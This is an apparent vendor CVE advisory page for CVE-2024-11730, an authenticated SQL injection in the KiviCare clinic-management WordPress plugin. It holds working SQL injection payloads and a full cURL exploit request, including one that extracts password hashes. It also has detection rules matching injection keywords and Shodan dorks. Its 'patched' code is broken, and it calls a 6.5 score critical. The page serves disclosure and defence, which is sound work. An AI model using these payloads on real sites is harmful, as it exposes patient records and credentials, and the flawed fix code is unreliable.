☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Kivicare logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-11730

CVE-2024-11730 SQL Injection in Kivicare
📅 PUBLISHED: 2024-12-06 11:09 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.45%
👁️
0.45% probability
11.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Global License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-11730 is a critical SQL Injection vulnerability affecting the KiviCare – Clinic & Patient Management System (EHR) WordPress plugin, versions up to and including 3.6.4. The flaw resides in the static_data_list AJAX action, specifically within the sort[] parameter. Due to insufficient input escaping and lack of prepared SQL statements, authenticated attackers with doctor or receptionist-level privileges can inject arbitrary SQL queries. This allows extraction of sensitive data from the WordPress database, including user credentials, patient records, and other protected health information (PHI). As a WordPress plugin vulnerability, this issue is confined to the WordPress ecosystem and does not involve the underlying web server software.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the KiviCare WordPress plugin, which is distributed via the WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of their plugin installation and monitor for updates from the vendor. No known supply chain compromise has been reported, but the lack of a patch increases the risk of exploitation in unmaintained deployments.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (authenticated as doctor/receptionist)
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: None
  • Availability Impact: None

The threat level is elevated due to the low complexity and the potential for significant data exfiltration, despite the requirement for authentication.

Deep Dive & Mechanics

The vulnerability exists in the static_data_list AJAX handler, which processes the sort[] parameter without proper sanitization. The plugin constructs SQL queries by directly concatenating user input into the ORDER BY clause. An attacker can inject a malicious payload into the sort[] parameter to break out of the intended query structure and execute arbitrary SQL commands.

Vulnerable Code Snippet (Conceptual):

$order_by = sanitize_text_field($_POST['sort'][0]); // Insufficient sanitization
$query = "SELECT * FROM {$wpdb->prefix}static_data ORDER BY " . $order_by;
$results = $wpdb->get_results($query);

The sanitize_text_field() function does not prevent SQL injection when used in an ORDER BY clause. An attacker can supply a value like:

1 AND (SELECT 1 FROM (SELECT SLEEP(5))a)--

This would cause a time delay, confirming the injection point.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.6.4):

$sort = isset($_POST['sort']) ? sanitize_text_field($_POST['sort'][0]) : '';
$query = "SELECT * FROM {$wpdb->prefix}static_data ORDER BY " . $sort;

Patched Code (Hypothetical):

$sort = isset($_POST['sort']) ? intval($_POST['sort'][0]) : 0;
$allowed_columns = array('id', 'name', 'created_at');
if (!in_array($sort, $allowed_columns)) {
    $sort = 'id';
}
$query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}static_data ORDER BY %s", $sort);

The patched version uses whitelisting and prepared statements to prevent injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress instance with KiviCare plugin <= 3.6.4
  • Valid doctor or receptionist account credentials

Exploitation Steps:

  1. Authenticate to WordPress and obtain a valid nonce for the AJAX action.
  2. Send a crafted POST request to /wp-admin/admin-ajax.php with the following parameters:
    • action: static_data_list
    • sort[0]: SQL injection payload

Example Payload (Time-Based Blind SQLi):

1 AND (SELECT 1 FROM (SELECT SLEEP(5))a)--

Full Request (cURL):

curl -X POST 'http://target/wp-admin/admin-ajax.php' \
  -d 'action=static_data_list&sort[0]=1 AND (SELECT 1 FROM (SELECT SLEEP(5))a)--' \
  -b 'wordpress_logged_in_xxx=valid_session_cookie'

Data Extraction Payload (Error-Based):

1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT user_pass FROM wp_users LIMIT 1), FLOOR(RAND()*2)) x FROM information_schema.tables GROUP BY x) a)--

Blue Team

Detection Steps:

  1. Monitor web server logs for abnormal admin-ajax.php requests with sort[] parameters containing SQL keywords (e.g., AND, OR, SLEEP, UNION).
  2. Enable WordPress query logging to capture suspicious SQL queries.
  3. Use a Web Application Firewall (WAF) to block requests with SQL injection patterns.

Honeypot Setup:

  • Deploy a decoy WordPress instance with KiviCare and monitor for exploitation attempts.
  • Log all sort[] parameter values for analysis.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /wp-admin/admin-ajax.php with action=static_data_list and sort[] containing SQL keywords.
    • Unusual database query patterns in MySQL logs (e.g., ORDER BY with subqueries).
  • File IOCs:
    • Modified plugin files in /wp-content/plugins/kivicare/.
    • Suspicious entries in WordPress wp_options table.
  • Behavioral IOCs:
    • Unauthorized access to patient records or user data.
    • Unexpected database errors or timeouts.

Detection Engineering

YARA Rule

rule CVE_2024_11730_KiviCare_SQLi {
    meta:
        description = "Detects SQL injection attempts against KiviCare plugin sort[] parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11730"
    strings:
        $sqli1 = /sort\[\d*\]=.*(AND|OR|UNION|SELECT|SLEEP|BENCHMARK)/ nocase
        $sqli2 = /sort\[\d*\]=.*\b(0x|CHAR|CONCAT|LOAD_FILE|INTO OUTFILE)\b/ nocase
    condition:
        any of them
}

Sigma Rule

title: KiviCare SQL Injection via sort[] Parameter
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against KiviCare plugin's static_data_list AJAX action
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=static_data_list'
        cs-uri-query|re: 'sort\[\d*\]=.*(AND|OR|UNION|SELECT|SLEEP|BENCHMARK)'
    condition: selection
falsepositives:
    - Legitimate use of sort with complex parameters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-11730 KiviCare SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=static_data_list"; http_client_body;
    pcre:"/sort\[\d*\]=.*(AND|OR|UNION|SELECT|SLEEP|BENCHMARK)/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2024-11730;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the KiviCare plugin until a patch is available.
  2. Restrict access to admin-ajax.php using IP whitelisting or .htaccess rules.
  3. Implement a Web Application Firewall (WAF) with SQL injection rules.

Long-Term Fixes:

  • Apply the vendor's patch when released.
  • Replace the vulnerable plugin with an alternative EHR solution.
  • Conduct a security audit of all WordPress plugins.

Workaround Code (Add to theme's functions.php):

add_action('wp_ajax_static_data_list', 'custom_static_data_list_handler', 1);
function custom_static_data_list_handler() {
    if (isset($_POST['sort']) && is_array($_POST['sort'])) {
        $_POST['sort'][0] = intval($_POST['sort'][0]);
    }
}

Valters IT
Securing Digital Ecosystems

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"KiviCare"
http.html:"kivicare"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-11730/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.